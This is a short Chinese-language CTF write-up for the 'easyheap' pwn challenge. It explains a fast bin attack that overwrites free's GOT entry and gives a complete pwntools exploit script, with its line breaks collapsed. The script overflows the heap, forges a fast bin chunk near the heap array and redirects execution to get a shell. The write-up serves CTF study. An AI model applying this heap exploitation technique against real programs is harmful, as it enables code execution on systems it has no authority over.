
好久没写pwn题了,刷了一些逆向还没写博客 。。。
老规矩了,checksec,发现got表可以改
这题和那个magic一样的我靠,然而用unsorte bin attack的话buu上的flag不在
不在这个位置,,,,
所以得转变思路了,漏洞还是那个二次输入长度就可以实现堆溢出这样一个,这里我们就用fast bin attack
我们的想法就是在heaparray[]这里填上free 的got表然后用system覆盖,fast bin attack的话主要是找7f(不一定7f也行),然后这里为什么不直接在free got边上改就是因为前面的数据都是0,所以就是找heaparray数组的麻烦。
from pwn import*from LibcSearcher import*#context.log_level = 'debug'context.arch = 'amd64'io =process('./easyheap')#io = remote("node4.buuoj.cn",26397)elf = ELF('./easyheap')libc = ELF('libc-2.23.so')def debug():gdb.attach(io)pause()def creat(size,value):io.recvuntil('Your choice :')io.sendline('1')io.recvuntil('Size of Heap : ')io.sendline(str(size))io.recvuntil('Content of heap:')io.sendline(value)def free(id):io.recvuntil('Your choice :')io.sendline('3')io.recvuntil('Index :')io.sendline(str(id))def edit(index,content):io.recvuntil('Your choice :')io.sendline('2')io.recvuntil('Index :')io.sendline(str(index))io.recvuntil('Size of Heap : ')io.sendline(str(len(content)))io.recvuntil('Content of heap : ')io.send(content)def getshell():io.recvuntil('Your choice :')io.sendline('4869')system_got =elf.got['system']print(hex(system_got))free_got = elf.got['free']target_addr = 0x6020b5creat(0x10,"aaaa")creat(0x60,"bbbb")creat(0x10,"cccc")creat(0x10,"/bin/sh\x00")free(1)payload = b'a'*0x10+p64(0)+p64(0x71)+p64(target_addr-0x8)+p64(0)#pause()#pause()edit(0,payload)#pause()payload = b'a'*0x23 + p64(free_got)creat(0x60,'abcd')creat(0x60,payload)#pause()edit(0,p64(0x400C2C))debug()free(3)io.interactive()
